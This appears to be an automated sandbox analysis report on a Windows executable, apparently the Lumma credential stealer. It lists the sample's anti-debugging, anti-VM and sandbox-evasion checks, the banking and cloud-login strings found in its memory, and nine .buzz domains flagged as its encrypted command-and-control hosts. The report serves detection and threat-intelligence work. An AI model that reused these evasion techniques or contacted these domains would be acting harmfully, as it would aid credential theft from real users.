Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE0748 second address: 5CE0750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE0750 second address: 5CE0755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE0755 second address: 5CE0766 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA34CE69A1Ch 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CA1E8C second address: 5CA1E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CA1E92 second address: 5CA1E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CA1E96 second address: 5CA1EA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE342B second address: 5CE3468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007FA34CE69A16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f jc 00007FA34CE69A16h 0x00000015 pop eax 0x00000016 jmp 00007FA34CE69A1Dh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA34CE69A28h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE3744 second address: 5CE3753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007FA34CB66816h 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE3753 second address: 5CE375D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5875 second address: 5CE58EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FA34CB66828h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 43882CBEh 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FA34CB66818h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e pushad 0x0000002f call 00007FA34CB6681Eh 0x00000034 or eax, 1E36A8B6h 0x0000003a pop ebx 0x0000003b sub dword ptr [ebp+12478C2Dh], ecx 0x00000041 popad 0x00000042 call 00007FA34CB66819h 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5D6B second address: 5CE5D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5D71 second address: 5CE5D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5D75 second address: 5CE5D93 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jno 00007FA34CE69A16h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007FA34CE69A16h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5D93 second address: 5CE5D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5F2A second address: 5CE5F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE5F2E second address: 5CE5F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE614B second address: 5CE614F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE66B2 second address: 5CE66BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA34CB66816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE6B16 second address: 5CE6B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FA34CE69A18h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE7073 second address: 5CE7078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE79B7 second address: 5CE79BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE79BD second address: 5CE79E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66824h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FA34CB66816h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE78E9 second address: 5CE78ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CE78ED second address: 5CE78F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CEA065 second address: 5CEA06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA34CE69A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CEA06F second address: 5CEA07D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CEA07D second address: 5CEA082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CEA082 second address: 5CEA0E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jc 00007FA34CB66818h 0x00000010 mov edi, ecx 0x00000012 movsx esi, si 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FA34CB66818h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov si, EDEFh 0x00000035 push 00000000h 0x00000037 or dword ptr [ebp+122D2E95h], eax 0x0000003d mov edi, dword ptr [ebp+122D3AF4h] 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CEAC49 second address: 5CEAC4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CEAC4D second address: 5CEACBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007FA34CB66828h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FA34CB66818h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push ecx 0x0000002d sbb edi, 14209670h 0x00000033 pop esi 0x00000034 mov edi, dword ptr [ebp+122D1D6Eh] 0x0000003a xchg eax, ebx 0x0000003b jmp 00007FA34CB6681Ah 0x00000040 push eax 0x00000041 pushad 0x00000042 push ecx 0x00000043 js 00007FA34CB66816h 0x00000049 pop ecx 0x0000004a pushad 0x0000004b jne 00007FA34CB66816h 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CECAB5 second address: 5CECAB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CF22FF second address: 5CF2306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CF1489 second address: 5CF148D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CF148D second address: 5CF1497 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CF333F second address: 5CF335F instructions: 0x00000000 rdtsc 0x00000002 je 00007FA34CE69A18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jng 00007FA34CE69A16h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jo 00007FA34CE69A16h 0x00000020 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: C08C89 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: DAD103 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: DABDD4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: DAB97C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: C0625A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: C08C50 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: E43DED instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: 5B3DC71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: 5CDA447 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: 5CED55B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Special instruction interceptor: First address: 5D72C90 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 3452	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 3224	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 5760	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 4144	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 2780	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 1196	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 2076	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe TID: 2520	Thread sleep time: -44022s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: eYAXkcBRfQ.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: eYAXkcBRfQ.exe, 00000000.00000003.2194043918.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2173802722.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2193903896.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2422887500.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2298073801.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210745144.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2173920279.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000002.2516865458.0000000000498000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: eYAXkcBRfQ.exe, 00000000.00000002.2516865458.0000000000542000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: eYAXkcBRfQ.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120903804.00000000051CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: NTICE
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: SICE
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: eYAXkcBRfQ.exe, 00000000.00000002.2519739001.0000000000DD7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: pProgram Manager
Source: eYAXkcBRfQ.exe, 00000000.00000002.2525519421.0000000005CBB000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: cProgram Manager

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ndows Defender\MsMpeng.exe
